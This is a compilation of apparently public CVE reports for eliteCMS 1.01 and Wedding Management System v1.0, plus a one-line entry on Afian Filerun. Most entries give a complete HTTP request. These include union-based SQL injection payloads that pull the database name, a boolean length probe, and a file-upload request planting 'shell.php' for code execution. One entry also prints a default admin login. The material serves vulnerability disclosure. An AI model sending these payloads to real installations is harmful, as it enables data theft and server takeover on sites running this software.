elitecms v1.01 is vulnerable to SQL Injection via admin/edit_post.php.

Permalink

**Elitecms v1.01 by elitecms has SQL injection**

vendors: https://elitecms.net/download.php

Vulnerability File: /admin/edit\_post.php

Vulnerability location: ip/eliteCMS1.01/admin/edit\_post.php?page=1&post=, post

dbname: elitecms101

\[+\] Payload: /eliteCMS1.01/admin/edit\_post.php?page=1&post=-1%20union%20select%201,2,3,4,database(),6--+ // Leak place ---> post

GET /eliteCMS1.01/admin/edit\_post.php?page\=1&post\=\-1%20union%20select%201,2,3,4,database(),6\--\+ HTTP/1.1
Host: 192.168.1.108
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=307ef75a2f3ab4c1103d8a1e90cf120e
Connection: close

CVE-2022-30810: bug_report/SQLi-2.md at main · k0xx11/bug_report

elitecms 1.01 is vulnerable to SQL Injection via /admin/add_post.php.

**Elitecms v1.01 by elitecms has SQL injection**

vendors: https://elitecms.net/download.php

Vulnerability File: /admin/add\_post.php

Vulnerability location: ip/eliteCMS1.01/admin/add\_post.php?page=, page

dbname: elitecms101

\[+\] Payload: /eliteCMS1.01/admin/add\_post.php?page=-3%20union%20select%201,2,3,4,database(),6,7,8,9,10,11--+ // Leak place ---> page

GET /eliteCMS1.01/admin/add\_post.php?page\=\-3%20union%20select%201,2,3,4,database(),6,7,8,9,10,11\--\+ HTTP/1.1
Host: 192.168.1.108
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=307ef75a2f3ab4c1103d8a1e90cf120e
Connection: close

CVE-2022-30813: bug_report/SQLi-3.md at main · k0xx11/bug_report

elitecms 1.01 is vulnerable to SQL Injection via /admin/edit_page.php?page=.

**Elitecms v1.01 by elitecms has SQL injection**

vendors: https://elitecms.net/download.php

Vulnerability File: eliteCMS1.01/admin/edit\_page.php?page=

Vulnerability location: ip/eliteCMS1.01/admin/edit\_page.php?page=, page

dbname: elitecms101

\[+\] Payload: /eliteCMS1.01/admin/edit\_page.php?page=-1%20union%20select%201,database(),3,4,5,6,7,8,9,10,11--+ // Leak place ---> page

GET /eliteCMS1.01/admin/edit\_page.php?page\=\-1%20union%20select%201,database(),3,4,5,6,7,8,9,10,11\--\+ HTTP/1.1
Host: 192.168.1.108
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=307ef75a2f3ab4c1103d8a1e90cf120e
Connection: close

CVE-2022-30809: bug_report/SQLi-1.md at main · k0xx11/bug_report

elitecms 1.01 is vulnerable to SQL Injection via admin/edit_sidebar.php?page=2&sidebar=

Permalink

**Elitecms v1.01 by elitecms has SQL injection**

vendors: https://elitecms.net/download.php

Vulnerability File: /admin/edit\_sidebar.php

Vulnerability location: ip/eliteCMS1.01/admin/edit\_sidebar.php?page=2&sidebar=, sidebar

dbname: elitecms101

\[+\] Payload: /eliteCMS1.01/admin/edit\_sidebar.php?page=2&sidebar=-3%20union%20select%201,2,database(),4,5--+ // Leak place ---> sidebar

GET /eliteCMS1.01/admin/edit\_sidebar.php?page\=2&sidebar\=\-3%20union%20select%201,2,database(),4,5\--\+ HTTP/1.1
Host: 192.168.1.108
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=307ef75a2f3ab4c1103d8a1e90cf120e
Connection: close

CVE-2022-30815: bug_report/SQLi-4.md at main · k0xx11/bug_report

In Wedding Management System v1.0, there is an arbitrary file upload vulnerability in the picture upload point of "photos_edit.php" file.

Permalink

Cannot retrieve contributors at this time

**Wedding Management System v1.0 by codeastr.com has arbitrary code execution (RCE)**

vendor: https://codeastro.com/wedding-management-system-in-php-with-source-code/

Vulnerability url: http://ip/Wedding-Management/admin/photos\_edit.php?id=37

Loophole location：The editing function of "Gallery" module in the background management system-- > there is an arbitrary file upload vulnerability (RCE) in the picture upload point of "photos\_edit.php" file.

Click "Edit" to save

Request package for file upload：

POST /Wedding\-Management/admin/photos\_edit.php?id\=37 HTTP/1.1
Host: 192.168.1.19
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://192.168.1.19/Wedding-Management/admin/photos\_edit.php?id=37
Cookie: PHPSESSID=0m2td1md252hlnr3nsbmc5ss99
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------30999215895801
Content-Length: 826
\-----------------------------30999215895801
Content-Disposition: form-data; name="booking\_id"
34
\-----------------------------30999215895801
Content-Disposition: form-data; name="title"
\-----------------------------30999215895801
Content-Disposition: form-data; name="caption"
\-----------------------------30999215895801
Content-Disposition: form-data; name="alternate\_text"
\-----------------------------30999215895801
Content-Disposition: form-data; name="description"
\-----------------------------30999215895801
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/octet-stream
JFJF
<?php phpinfo();?>
\-----------------------------30999215895801
Content-Disposition: form-data; name="submit"
Edit
\-----------------------------30999215895801--

The files will be uploaded to this directory \\admin\\upload\\gallery\\

We visited the directory of the file in the browser and found that the code had been executed

CVE-2022-30819: bug_report/RCE-3.md at main · k0xx11/bug_report

Wedding Management System v1.0 is vulnerable to SQL injection via /Wedding-Management/admin/blog_events_edit.php?id=31.

Permalink

Cannot retrieve contributors at this time

**Wedding Management System v1.0 by codeastr.com has SQL injection**

Author： k0xx

The password for the backend login account is: admin@mail.com/Password@123

vendors: https://codeastro.com/wedding-management-system-in-php-with-source-code/

Vulnerability File: /Wedding-Management/admin/client\_edit.php?booking=31&user\_id=

Vulnerability location: /Wedding-Management/admin/client\_edit.php?booking=31&user\_id=,user\_id

\[+\] Payload: /Wedding-Management/admin/client\_edit.php?booking=31&user\_id=31%20and%20length%20(database())%20=9 // Leak place ---> user\_id

Current database name: dbwedding,length is 9

GET /Wedding\-Management/admin/client\_edit.php?booking\=31&user\_id\=31%20and%20length%20(database())%20\=9 HTTP/1.1
Host: 192.168.1.19
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=0m2td1md252hlnr3nsbmc5ss99
Connection: close

When length (database ()) = 8, Content-Length: 14701

When length (database ()) = 9, Content-Length: 14095

CVE-2022-30818: bug_report/SQLi-10.md at main · k0xx11/bug_report

Wedding Management System v1.0 is vulnerable to SQL Injection via admin\client_assign.php.

Permalink

Cannot retrieve contributors at this time

**Wedding Management System v1.0 by codeastr.com has SQL injection**

vendors: https://codeastro.com/wedding-management-system-in-php-with-source-code/

Vulnerability File: \\admin\\client\_assign.php

Vulnerability location: /Wedding-Management/admin/client\_assign.php?booking=, booking

\[+\] Payload: booking=-31%20union%20select%201,2,3,4,5,database(),7,8--+

dbname = dbwedding

GET /Wedding\-Management/admin/client\_assign.php?booking\=\-31%20union%20select%201,2,3,4,5,database(),7,8\--+&user\_id=31 HTTP/1.1
Host: 192.168.1.19
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=0m2td1md252hlnr3nsbmc5ss99
Connection: close

CVE-2022-30826: bug_report/SQLi-3.md at main · k0xx11/bug_report

Wedding Management System v1.0 is vulnerable to SQL Injection via \admin\photos_edit.php.

**Wedding Management System v1.0 by codeastr.com has SQL injection**

vendors: https://codeastro.com/wedding-management-system-in-php-with-source-code/

Vulnerability File: \\admin\\photos\_edit.php

Vulnerability location: /Wedding-Management/admin/photos\_edit.php?id=, id

\[+\] Payload: id=-37%20union%20select%201,2,database(),4,5,6,7,8,9,10--+

dbname = dbwedding

GET /Wedding\-Management/admin/photos\_edit.php?id\=\-37%20union%20select%201,2,database(),4,5,6,7,8,9,10\--\+ HTTP/1.1
Host: 192.168.1.19
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=0m2td1md252hlnr3nsbmc5ss99
Connection: close

CVE-2022-30828: bug_report/SQLi-6.md at main · k0xx11/bug_report

Wedding Management System v1.0 is vulnerable to SQL Injection via \admin\package_edit.php.

Permalink

**Wedding Management System v1.0 by codeastr.com has SQL injection**

vendors: https://codeastro.com/wedding-management-system-in-php-with-source-code/

Vulnerability File: \\admin\\package\_edit.php

Vulnerability location: /Wedding-Management/admin/package\_edit.php?id=, id

\[+\] Payload: id=-1%20union%20select%201,2,database(),4--+

dbname = dbwedding

GET /Wedding\-Management/admin/package\_edit.php?id\=\-1%20union%20select%201,2,database(),4\--\+ HTTP/1.1
Host: 192.168.1.19
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=0m2td1md252hlnr3nsbmc5ss99
Connection: close

CVE-2022-30827: bug_report/SQLi-4.md at main · k0xx11/bug_report

In Afian Filerun 20220202 Changing the "search_tika_path" variable to a custom (and previously uploaded) jar file results in remote code execution in the context of the webserver user.

Tag

#windows